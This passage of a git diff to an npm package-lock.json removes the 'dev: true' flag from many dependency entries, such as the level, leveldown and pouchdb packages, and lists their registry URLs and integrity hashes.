"dev": true, "requires": { "safer-buffer": ">= 2.1.2 < 3" } @@ -6393,8 +6309,7 @@ "ieee754": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", - "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==", - "dev": true + "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==" }, "ignore": { "version": "4.0.6", @@ -6405,8 +6320,7 @@ "immediate": { "version": "3.0.6", "resolved": "https://registry.npmjs.org/immediate/-/immediate-3.0.6.tgz", - "integrity": "sha1-nbHb0Pr43m++D13V5Wu2BigN5ps=", - "dev": true + "integrity": "sha1-nbHb0Pr43m++D13V5Wu2BigN5ps=" }, "immutable": { "version": "3.8.2", @@ -6447,8 +6361,7 @@ "infinity-x": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/infinity-x/-/infinity-x-1.0.2.tgz", - "integrity": "sha512-2Ioz+exrAwlHxFBaDHQIbvUyjKFt0YjIal34/agfzx738aT1zBQwSU5A8Zgb1IQ2r24BtXrkeZZusxE40MyZaQ==", - "dev": true + "integrity": "sha512-2Ioz+exrAwlHxFBaDHQIbvUyjKFt0YjIal34/agfzx738aT1zBQwSU5A8Zgb1IQ2r24BtXrkeZZusxE40MyZaQ==" }, "inflation": { "version": "2.0.0", @@ -6460,7 +6373,6 @@ "version": "1.0.6", "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=", - "dev": true, "requires": { "once": "^1.3.0", "wrappy": "1" @@ -6469,8 +6381,7 @@ "inherits": { "version": "2.0.4", "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", - "dev": true + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" }, "ini": { "version": "1.3.8", @@ -6482,7 +6393,6 @@ "version": "1.0.0", "resolved": "https://registry.npmjs.org/inline-process-browser/-/inline-process-browser-1.0.0.tgz", "integrity": "sha1-RqYbFT3TybFiSxoAYm7bT39BTyI=", - "dev": true, "requires": { "falafel": "^1.0.1", "through2": "^0.6.5" @@ -6515,7 +6425,6 @@ "version": "1.7.0", "resolved": "https://registry.npmjs.org/is-array-buffer-x/-/is-array-buffer-x-1.7.0.tgz", "integrity": "sha512-ufSZRMY2WZX5xyNvk0NOZAG7cgi35B/sGQDGqv8w0X7MoQ2GC9vedanJhuYTPaC4PUCqLQsda1w7NF+dPZmAJw==", - "dev": true, "requires": { "attempt-x": "^1.1.0", "has-to-string-tag-x": "^1.4.1", @@ -6561,8 +6470,7 @@ "is-buffer": { "version": "1.1.6", "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-1.1.6.tgz", - "integrity": "sha512-NcdALwpXkTm5Zvvbk7owOUSvVvBKDgKP5/ewfXEznmQFfs4ZRmanOeKBTjRVjka3QFoN6XJ+9F3USqfHqTaU5w==", - "dev": true + "integrity": "sha512-NcdALwpXkTm5Zvvbk7owOUSvVvBKDgKP5/ewfXEznmQFfs4ZRmanOeKBTjRVjka3QFoN6XJ+9F3USqfHqTaU5w==" }, "is-callable": { "version": "1.2.4", @@ -6583,7 +6491,6 @@ "version": "1.0.5", "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.0.5.tgz", "integrity": "sha512-9YQaSxsAiSwcvS33MBk3wTCVnWK+HhF8VZR2jRxehM16QcVOdHqPn4VPHmRK4lSr38n9JriurInLcP90xsYNfQ==", - "dev": true, "requires": { "has-tostringtag": "^1.0.0" } @@ -6604,7 +6511,6 @@ "version": "1.0.3", "resolved": "https://registry.npmjs.org/is-falsey-x/-/is-falsey-x-1.0.3.tgz", "integrity": "sha512-RWjusR6LXAhGa0Vus7aD1rwJuJwdJsvG3daAVMDvOAgvGuGm4eilNgoSuXhpv2/2qpLDvioAKTNb3t3XYidCNg==", - "dev": true, "requires": { "to-boolean-x": "^1.0.2" } @@ -6613,7 +6519,6 @@ "version": "3.0.4", "resolved": "https://registry.npmjs.org/is-finite-x/-/is-finite-x-3.0.4.tgz", "integrity": "sha512-wdSI5zk/Pl21HzGcLWFoFzuDa8gsgcqhwZGAZryL2eU7RKf7+g+q4jL2gGItrBs/YtspkjOrJ4JxXNZqquoAWA==", - "dev": true, "requires": { "infinity-x": "^1.0.1", "is-nan-x": "^1.0.2" @@ -6629,7 +6534,6 @@ "version": "3.3.0", "resolved": "https://registry.npmjs.org/is-function-x/-/is-function-x-3.3.0.tgz", "integrity": "sha512-SreSSU1dlgYaXR5c0mm4qJHKYHIiGiEY+7Cd8/aRLLoMP/VvofD2XcWgBnP833ajpU5XzXbUSpfysnfKZLJFlg==", - "dev": true, "requires": { "attempt-x": "^1.1.1", "has-to-string-tag-x": "^1.4.1", @@ -6644,8 +6548,7 @@ "is-primitive": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/is-primitive/-/is-primitive-2.0.0.tgz", - "integrity": "sha1-IHurkWOEmcB7Kt8kCkGochADRXU=", - "dev": true + "integrity": "sha1-IHurkWOEmcB7Kt8kCkGochADRXU=" } } }, @@ -6671,7 +6574,6 @@ "version": "1.1.0", "resolved": "https://registry.npmjs.org/is-index-x/-/is-index-x-1.1.0.tgz", "integrity": "sha512-qULKLMepQLGC8rSVdi8uF2vI4LiDrU9XSDg1D+Aa657GIB7GV1jHpga7uXgQvkt/cpQ5mVBHUFTpSehYSqT6+A==", - "dev": true, "requires": { "math-clamp-x": "^1.2.0", "max-safe-integer": "^1.0.1", @@ -6689,8 +6591,7 @@ "is-nan-x": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/is-nan-x/-/is-nan-x-1.0.3.tgz", - "integrity": "sha512-WenNBLVGSZID8shogsB++42vF7gvotCfneXM9KMCAKwNPXa8VfAu/RWwpqvnK7dLOP4Z7uitocb0TZ6rAiOccA==", - "dev": true + "integrity": "sha512-WenNBLVGSZID8shogsB++42vF7gvotCfneXM9KMCAKwNPXa8VfAu/RWwpqvnK7dLOP4Z7uitocb0TZ6rAiOccA==" }, "is-negative-zero": { "version": "2.0.1", @@ -6702,7 +6603,6 @@ "version": "1.4.2", "resolved": "https://registry.npmjs.org/is-nil-x/-/is-nil-x-1.4.2.tgz", "integrity": "sha512-9aDY7ir7IGb5HlgqL+b38v2YMxf8S7MEHHxjHGzUhijg2crq47RKdxL37bS6dU0VN87wy2IBZP4akgQtIXmyvg==", - "dev": true, "requires": { "lodash.isnull": "^3.0.0", "validate.io-undefined": "^1.0.3" @@ -6733,7 +6633,6 @@ "version": "1.7.1", "resolved": "https://registry.npmjs.org/is-object-like-x/-/is-object-like-x-1.7.1.tgz", "integrity": "sha512-89nz+kESAW2Y7udq+PdRX/dZnRN2WP1b19Gdv4OYE1Xjoekn1xf31l0ZPzT40qdPD7I2nveNFm9rxxI0vmnGHA==", - "dev": true, "requires": { "is-function-x": "^3.3.0", "is-primitive": "^3.0.0" @@ -6754,8 +6653,7 @@ "is-primitive": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/is-primitive/-/is-primitive-3.0.1.tgz", - "integrity": "sha512-GljRxhWvlCNRfZyORiH77FwdFwGcMO620o37EOYC0ORWdq+WYNVqW0w2Juzew4M+L81l6/QS3t5gkkihyRqv9w==", - "dev": true + "integrity": "sha512-GljRxhWvlCNRfZyORiH77FwdFwGcMO620o37EOYC0ORWdq+WYNVqW0w2Juzew4M+L81l6/QS3t5gkkihyRqv9w==" }, "is-regex": { "version": "1.1.4", @@ -6783,7 +6681,6 @@ "version": "1.0.7", "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.0.7.tgz", "integrity": "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg==", - "dev": true, "requires": { "has-tostringtag": "^1.0.0" } @@ -6792,7 +6689,6 @@ "version": "1.0.4", "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.0.4.tgz", "integrity": "sha512-C/CPBqKWnvdcxqIARxyOh4v1UUEOCHpgDa0WYgpKDFMszcrPcffg5uhwSgPCLD2WWxmq6isisz87tzT01tuGhg==", - "dev": true, "requires": { "has-symbols": "^1.0.2" } @@ -6933,7 +6829,6 @@ "version": "1.0.1", "resolved": "https://registry.npmjs.org/json-stable-stringify/-/json-stable-stringify-1.0.1.tgz", "integrity": "sha1-mnWdOcXy/1A/1TAGRu1EX4jE+a8=", - "dev": true, "requires": { "jsonify": "~0.0.0" } @@ -6972,8 +6867,7 @@ "jsonify": { "version": "0.0.0", "resolved": "https://registry.npmjs.org/jsonify/-/jsonify-0.0.0.tgz", - "integrity": "sha1-LHS27kHZPKUbe1qu6PUDYx0lKnM=", - "dev": true + "integrity": "sha1-LHS27kHZPKUbe1qu6PUDYx0lKnM=" }, "jsonld-context-parser": { "version": "2.1.5", @@ -7032,7 +6926,6 @@ "version": "11.0.3", "resolved": "https://registry.npmjs.org/jstransform/-/jstransform-11.0.3.tgz", "integrity": "sha1-CaeJk+CuTU70SH9hVakfYZDLQiM=", - "dev": true, "requires": { "base62": "^1.1.0", "commoner": "^0.10.1", @@ -7044,8 +6937,7 @@ "esprima-fb": { "version": "15001.1.0-dev-harmony-fb", "resolved": "https://registry.npmjs.org/esprima-fb/-/esprima-fb-15001.1.0-dev-harmony-fb.tgz", - "integrity": "sha1-MKlHMDxrjV6VW+4rmbHSMyBqaQE=", - "dev": true + "integrity": "sha1-MKlHMDxrjV6VW+4rmbHSMyBqaQE=" } } }, @@ -7208,7 +7100,6 @@ "version": "6.0.1", "resolved": "https://registry.npmjs.org/level/-/level-6.0.1.tgz", "integrity": "sha512-psRSqJZCsC/irNhfHzrVZbmPYXDcEYhA5TVNwr+V92jF44rbf86hqGp8fiT702FyiArScYIlPSBTDUASCVNSpw==", - "dev": true, "requires": { "level-js": "^5.0.0", "level-packager": "^5.1.0", @@ -7219,7 +7110,6 @@ "version": "9.0.2", "resolved": "https://registry.npmjs.org/level-codec/-/level-codec-9.0.2.tgz", "integrity": "sha512-UyIwNb1lJBChJnGfjmO0OR+ezh2iVu1Kas3nvBS/BzGnx79dv6g7unpKIDNPMhfdTEGoc7mC8uAu51XEtX+FHQ==", - "dev": true, "requires": { "buffer": "^5.6.0" } @@ -7227,14 +7117,12 @@ "level-concat-iterator": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/level-concat-iterator/-/level-concat-iterator-2.0.1.tgz", - "integrity": "sha512-OTKKOqeav2QWcERMJR7IS9CUo1sHnke2C0gkSmcR7QuEtFNLLzHQAvnMw8ykvEcv0Qtkg0p7FOwP1v9e5Smdcw==", - "dev": true + "integrity": "sha512-OTKKOqeav2QWcERMJR7IS9CUo1sHnke2C0gkSmcR7QuEtFNLLzHQAvnMw8ykvEcv0Qtkg0p7FOwP1v9e5Smdcw==" }, "level-errors": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/level-errors/-/level-errors-2.0.1.tgz", "integrity": "sha512-UVprBJXite4gPS+3VznfgDSU8PTRuVX0NXwoWW50KLxd2yw4Y1t2JUR5In1itQnudZqRMT9DlAM3Q//9NCjCFw==", - "dev": true, "requires": { "errno": "~0.1.1" } @@ -7243,7 +7131,6 @@ "version": "4.0.2", "resolved": "https://registry.npmjs.org/level-iterator-stream/-/level-iterator-stream-4.0.2.tgz", "integrity": "sha512-ZSthfEqzGSOMWoUGhTXdX9jv26d32XJuHz/5YnuHZzH6wldfWMOVwI9TBtKcya4BKTyTt3XVA0A3cF3q5CY30Q==", - "dev": true, "requires": { "inherits": "^2.0.4", "readable-stream": "^3.4.0", @@ -7254,7 +7141,6 @@ "version": "5.0.2", "resolved": "https://registry.npmjs.org/level-js/-/level-js-5.0.2.tgz", "integrity": "sha512-SnBIDo2pdO5VXh02ZmtAyPP6/+6YTJg2ibLtl9C34pWvmtMEmRTWpra+qO/hifkUtBTOtfx6S9vLDjBsBK4gRg==", - "dev": true, "requires": { "abstract-leveldown": "~6.2.3", "buffer": "^5.5.0", @@ -7266,7 +7152,6 @@ "version": "5.1.1", "resolved": "https://registry.npmjs.org/level-packager/-/level-packager-5.1.1.tgz", "integrity": "sha512-HMwMaQPlTC1IlcwT3+swhqf/NUO+ZhXVz6TY1zZIIZlIR0YSn8GtAAWmIvKjNY16ZkEg/JcpAuQskxsXqC0yOQ==", - "dev": true, "requires": { "encoding-down": "^6.3.0", "levelup": "^4.3.2" @@ -7276,7 +7161,6 @@ "version": "1.0.1", "resolved": "https://registry.npmjs.org/level-supports/-/level-supports-1.0.1.tgz", "integrity": "sha512-rXM7GYnW8gsl1vedTJIbzOrRv85c/2uCMpiiCzO2fndd06U/kUXEEU9evYn4zFggBOg36IsBW8LzqIpETwwQzg==", - "dev": true, "requires": { "xtend": "^4.0.2" } @@ -7285,7 +7169,6 @@ "version": "1.0.0", "resolved": "https://registry.npmjs.org/level-write-stream/-/level-write-stream-1.0.0.tgz", "integrity": "sha1-P3+7Z5pVE3wP6zA97nZuEu4Twdw=", - "dev": true, "requires": { "end-stream": "~0.1.0" } @@ -7294,7 +7177,6 @@ "version": "5.6.0", "resolved": "https://registry.npmjs.org/leveldown/-/leveldown-5.6.0.tgz", "integrity": "sha512-iB8O/7Db9lPaITU1aA2txU/cBEXAt4vWwKQRrrWuS6XDgbP4QZGj9BL2aNbwb002atoQ/lIotJkfyzz+ygQnUQ==", - "dev": true, "requires": { "abstract-leveldown": "~6.2.1", "napi-macros": "~2.0.0", @@ -7305,7 +7187,6 @@ "version": "4.4.0", "resolved": "https://registry.npmjs.org/levelup/-/levelup-4.4.0.tgz", "integrity": "sha512-94++VFO3qN95cM/d6eBXvd894oJE0w3cInq9USsyQzzoJxmiYzPAocNcuGCPGGjoXqDVJcr3C1jzt1TSjyaiLQ==", - "dev": true, "requires": { "deferred-leveldown": "~5.3.0", "level-errors": "~2.0.0", @@ -7328,7 +7209,6 @@ "version": "3.1.1", "resolved": "https://registry.npmjs.org/lie/-/lie-3.1.1.tgz", "integrity": "sha1-mkNrLMd0bKWd56QfpGmz77dr2H4=", - "dev": true, "requires": { "immediate": "~3.0.5" } @@ -7492,8 +7372,7 @@ "lodash.isnull": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/lodash.isnull/-/lodash.isnull-3.0.0.tgz", - "integrity": "sha1-+vvlnqHcon7teGU0A53YTC4HxW4=", - "dev": true + "integrity": "sha1-+vvlnqHcon7teGU0A53YTC4HxW4=" }, "lodash.merge": { "version": "4.6.2", @@ -7617,14 +7496,12 @@ "ltgt": { "version": "2.2.1", "resolved": "https://registry.npmjs.org/ltgt/-/ltgt-2.2.1.tgz", - "integrity": "sha1-81ypHEk/e3PaDgdJUwTxezH4fuU=", - "dev": true + "integrity": "sha1-81ypHEk/e3PaDgdJUwTxezH4fuU=" }, "lunr": { "version": "0.7.1", "resolved": "https://registry.npmjs.org/lunr/-/lunr-0.7.1.tgz", - "integrity": "sha1-taLP+ZVVt4k/XxpKF68/Y4NzxLs=", - "dev": true + "integrity": "sha1-taLP+ZVVt4k/XxpKF68/Y4NzxLs=" }, "make-dir": { "version": "3.1.0", @@ -7670,7 +7547,6 @@ "version": "1.2.0", "resolved": "https://registry.npmjs.org/math-clamp-x/-/math-clamp-x-1.2.0.tgz", "integrity": "sha512-tqpjpBcIf9UulApz3EjWXqTZpMlr2vLN9PryC9ghoyCuRmqZaf3JJhPddzgQpJnKLi2QhoFnvKBFtJekAIBSYg==", - "dev": true, "requires": { "to-number-x": "^2.0.0" } @@ -7679,7 +7555,6 @@ "version": "3.0.0", "resolved": "https://registry.npmjs.org/math-sign-x/-/math-sign-x-3.0.0.tgz", "integrity": "sha512-OzPas41Pn4d16KHnaXmGxxY3/l3zK4OIXtmIwdhgZsxz4FDDcNnbrABYPg2vGfxIkaT9ezGnzDviRH7RfF44jQ==", - "dev": true, "requires": { "is-nan-x": "^1.0.1", "to-number-x": "^2.0.0" @@ -7688,14 +7563,12 @@ "max-safe-integer": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/max-safe-integer/-/max-safe-integer-1.0.1.tgz", - "integrity": "sha1-84BgvixWPYwC5tSK85Ei/YO29BA=", - "dev": true + "integrity": "sha1-84BgvixWPYwC5tSK85Ei/YO29BA=" }, "md5": { "version": "2.3.0", "resolved": "https://registry.npmjs.org/md5/-/md5-2.3.0.tgz", "integrity": "sha512-T1GITYmFaKuO91vxyoQMFETst+O71VUPEU3ze5GNzDm0OWdP8v1ziTaAEPUr/3kLsY3Sftgz242A1SetQiDL7g==", - "dev": true, "requires": { "charenc": "0.0.2", "crypt": "0.0.2", @@ -7824,7 +7697,6 @@ "version": "3.0.4", "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==", - "dev": true, "requires": { "brace-expansion": "^1.1.7" } @@ -7832,8 +7704,7 @@ "minimist": { "version": "1.2.5", "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz", - "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==", - "dev": true + "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==" }, "minimist-options": { "version": "4.1.0", @@ -7850,7 +7721,6 @@ "version": "0.5.5", "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz", "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==", - "dev": true, "requires": { "minimist": "^1.2.5" } @@ -8130,8 +8000,7 @@ "monaco-editor": { "version": "0.26.1", "resolved": "https://registry.npmjs.org/monaco-editor/-/monaco-editor-0.26.1.tgz", - "integrity": "sha512-mm45nUrBDk0DgZKgbD7+bhDOtcAFNGPJJRAdS6Su1kTGl6XEgC7U3xOmDUW/0RrLf+jlvCGaqLvD4p2VjwuwwQ==", - "dev": true + "integrity": "sha512-mm45nUrBDk0DgZKgbD7+bhDOtcAFNGPJJRAdS6Su1kTGl6XEgC7U3xOmDUW/0RrLf+jlvCGaqLvD4p2VjwuwwQ==" }, "ms": { "version": "2.0.0", @@ -8152,8 +8021,7 @@ "nan-x": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/nan-x/-/nan-x-1.0.2.tgz", - "integrity": "sha512-dndRmy03JQEN+Nh6WjQl7/OstIozeEmrtWe4TE7mEqJ8W8oMD8m2tHjsLPWt//e3hLAeRSbs4pxMyc5pk/nCkQ==", - "dev": true + "integrity": "sha512-dndRmy03JQEN+Nh6WjQl7/OstIozeEmrtWe4TE7mEqJ8W8oMD8m2tHjsLPWt//e3hLAeRSbs4pxMyc5pk/nCkQ==" }, "nanocolors": { "version": "0.2.9", @@ -8170,8 +8038,7 @@ "napi-macros": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/napi-macros/-/napi-macros-2.0.0.tgz", - "integrity": "sha512-A0xLykHtARfueITVDernsAWdtIMbOJgKgcluwENp3AlsKN/PloyO10HtmoqnFAQAcxPkgZN7wdfPfEd0zNGxbg==", - "dev": true + "integrity": "sha512-A0xLykHtARfueITVDernsAWdtIMbOJgKgcluwENp3AlsKN/PloyO10HtmoqnFAQAcxPkgZN7wdfPfEd0zNGxbg==" }, "natural-compare": { "version": "1.4.0", @@ -8231,8 +8098,7 @@ "node-gyp-build": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/node-gyp-build/-/node-gyp-build-4.1.1.tgz", - "integrity": "sha512-dSq1xmcPDKPZ2EED2S6zw/b9NKsqzXRE6dVr8TVQnI3FJOTteUMuqF3Qqs6LZg+mLGYJWqQzMbIjMtJqTv87nQ==", - "dev": true + "integrity": "sha512-dSq1xmcPDKPZ2EED2S6zw/b9NKsqzXRE6dVr8TVQnI3FJOTteUMuqF3Qqs6LZg+mLGYJWqQzMbIjMtJqTv87nQ==" }, "normalize-package-data": { "version": "3.0.3", @@ -8256,7 +8122,6 @@ "version": "3.0.0", "resolved": "https://registry.npmjs.org/normalize-space-x/-/normalize-space-x-3.0.0.tgz", "integrity": "sha512-tbCJerqZCCHPst4rRKgsTanLf45fjOyeAU5zE3mhDxJtFJKt66q39g2XArWhXelgTFVib8mNBUm6Wrd0LxYcfQ==", - "dev": true, "requires": { "cached-constructors-x": "^1.0.0", "trim-x": "^3.0.0", @@ -8275,14 +8140,12 @@ "object-assign": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-2.1.1.tgz", - "integrity": "sha1-Q8NuXVaf+OSBbE76i+AtJpZ8GKo=", - "dev": true + "integrity": "sha1-Q8NuXVaf+OSBbE76i+AtJpZ8GKo=" }, "object-get-own-property-descriptor-x": { "version": "3.2.0", "resolved": "https://registry.npmjs.org/object-get-own-property-descriptor-x/-/object-get-own-property-descriptor-x-3.2.0.tgz", "integrity": "sha512-Z/0fIrptD9YuzN+SNK/1kxAEaBcPQM4gSrtOSMSi9eplnL/AbyQcAyAlreAoAzmBon+DQ1Z+AdhxyQSvav5Fyg==", - "dev": true, "requires": { "attempt-x": "^1.1.0", "has-own-property-x": "^3.1.1", @@ -8299,8 +8162,7 @@ "is-primitive": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/is-primitive/-/is-primitive-2.0.0.tgz", - "integrity": "sha1-IHurkWOEmcB7Kt8kCkGochADRXU=", - "dev": true + "integrity": "sha1-IHurkWOEmcB7Kt8kCkGochADRXU=" } } }, @@ -8313,8 +8175,7 @@ "object-keys": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz", - "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", - "dev": true + "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==" }, "object.assign": { "version": "4.1.2", @@ -8374,7 +8235,6 @@ "version": "1.4.0", "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", - "dev": true, "requires": { "wrappy": "1" } @@ -8474,7 +8334,6 @@ "version": "2.0.0", "resolved": "https://registry.npmjs.org/parse-int-x/-/parse-int-x-2.0.0.tgz", "integrity": "sha512-NIMm52gmd1+0qxJK8lV3OZ4zzWpRH1xcz9xCHXl+DNzddwUdS4NEtd7BmTeK7iCIXoaK5e6BoDMHgieH2eNIhg==", - "dev": true, "requires": { "cached-constructors-x": "^1.0.0", "nan-x": "^1.0.0", @@ -8533,8 +8392,7 @@ "path-is-absolute": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", - "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=", - "dev": true + "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=" }, "path-key": { "version": "3.1.1", @@ -8816,7 +8674,6 @@ "version": "7.2.2", "resolved": "https://registry.npmjs.org/pouchdb/-/pouchdb-7.2.2.tgz", "integrity": "sha512-5gf5nw5XH/2H/DJj8b0YkvG9fhA/4Jt6kL0Y8QjtztVjb1y4J19Rg4rG+fUbXu96gsUrlyIvZ3XfM0b4mogGmw==", - "dev": true, "requires": { "abort-controller": "3.0.0", "argsarray": "0.0.1", @@ -8843,32 +8700,27 @@ "buffer-from": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.1.tgz", - "integrity": "sha512-MQcXEUbCKtEo7bhqEs6560Hyd4XaovZlO/k9V3hjVUF/zwW7KBVdSK4gIt/bzwS9MbR5qob+F5jusZsb0YQK2A==", - "dev": true + "integrity": "sha512-MQcXEUbCKtEo7bhqEs6560Hyd4XaovZlO/k9V3hjVUF/zwW7KBVdSK4gIt/bzwS9MbR5qob+F5jusZsb0YQK2A==" }, "immediate": { "version": "3.3.0", "resolved": "https://registry.npmjs.org/immediate/-/immediate-3.3.0.tgz", - "integrity": "sha512-HR7EVodfFUdQCTIeySw+WDRFJlPcLOJbXfwwZ7Oom6tjsvZ3bOkCDJHehQC3nxJrv7+f9XecwazynjU8e4Vw3Q==", - "dev": true + "integrity": "sha512-HR7EVodfFUdQCTIeySw+WDRFJlPcLOJbXfwwZ7Oom6tjsvZ3bOkCDJHehQC3nxJrv7+f9XecwazynjU8e4Vw3Q==" }, "isarray": { "version": "0.0.1", "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", - "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=", - "dev": true + "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=" }, "node-fetch": { "version": "2.6.0", "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.0.tgz", - "integrity": "sha512-8dG4H5ujfvFiqDmVu9fQ5bOHUC15JMjMY/Zumv26oOvvVJjM67KF8koCWIabKQ1GJIa9r2mMZscBq/TbdOcmNA==", - "dev": true + "integrity": "sha512-8dG4H5ujfvFiqDmVu9fQ5bOHUC15JMjMY/Zumv26oOvvVJjM67KF8koCWIabKQ1GJIa9r2mMZscBq/TbdOcmNA==" }, "readable-stream": { "version": "1.1.14", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.1.14.tgz", "integrity": "sha1-fPTFTvZI44EwhMY23SB54WbAgdk=", - "dev": true, "requires": { "core-util-is": "~1.0.0", "inherits": "~2.0.1", @@ -8879,20 +8731,17 @@ "spark-md5": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/spark-md5/-/spark-md5-3.0.1.tgz", - "integrity": "sha512-0tF3AGSD1ppQeuffsLDIOWlKUd3lS92tFxcsrh5Pe3ZphhnoK+oXIBTzOAThZCiuINZLvpiLH/1VS1/ANEJVig==", - "dev": true + "integrity": "sha512-0tF3AGSD1ppQeuffsLDIOWlKUd3lS92tFxcsrh5Pe3ZphhnoK+oXIBTzOAThZCiuINZLvpiLH/1VS1/ANEJVig==" }, "string_decoder": { "version": "0.10.31", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz", - "integrity": "sha1-YuIDvEF2bGwoyfyEMB2rHFMQ+pQ=", - "dev": true + "integrity": "sha1-YuIDvEF2bGwoyfyEMB2rHFMQ+pQ=" }, "through2": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/through2/-/through2-3.0.2.tgz", "integrity": "sha512-enaDQ4MUyP2W6ZyT6EsMzqBPZaM/avg8iuo+l2d3QCs0J+6RaqkHV/2/lOwDTueBHeJ/2LG9lrLW3d5rWPucuQ==", - "dev": true, "requires": { "inherits": "^2.0.4", "readable-stream": "2 || 3" @@ -8902,7 +8751,6 @@ "version": "3.6.0", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", - "dev": true, "requires": { "inherits": "^2.0.3", "string_decoder": "^1.1.1", @@ -8913,7 +8761,6 @@ "version": "1.3.0", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", - "dev": true, "requires": { "safe-buffer": "~5.2.0" } @@ -8923,8 +8770,7 @@ "uuid": { "version": "8.1.0", "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.1.0.tgz", - "integrity": "sha512-CI18flHDznR0lq54xBycOVmphdCYnQLKn8abKn7PXUiKUGdEd+/l9LWNJmugXel4hXq7S+RMNl34ecyC9TntWg==", - "dev": true + "integrity": "sha512-CI18flHDznR0lq54xBycOVmphdCYnQLKn8abKn7PXUiKUGdEd+/l9LWNJmugXel4hXq7S+RMNl34ecyC9TntWg==" } } }, @@ -8932,7 +8778,6 @@ "version": "6.4.3", "resolved": "https://registry.npmjs.org/pouchdb-binary-utils/-/pouchdb-binary-utils-6.4.3.tgz", "integrity": "sha512-eRKH/1eiZwrqNdAR3CL1XIIkq04I9hHIABHwIRboz1LjBSchKmaf4ZDngiWGDvRYT9Gl/MogGDGOk1WRMoV4wg==", - "dev": true, "requires": { "buffer-from": "0.1.1" } @@ -8940,20 +8785,17 @@ "pouchdb-collate": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/pouchdb-collate/-/pouchdb-collate-1.2.0.tgz", - "integrity": "sha1-yuO4MPyhJLf5fSMEbk+qMR7Dgow=", - "dev": true + "integrity": 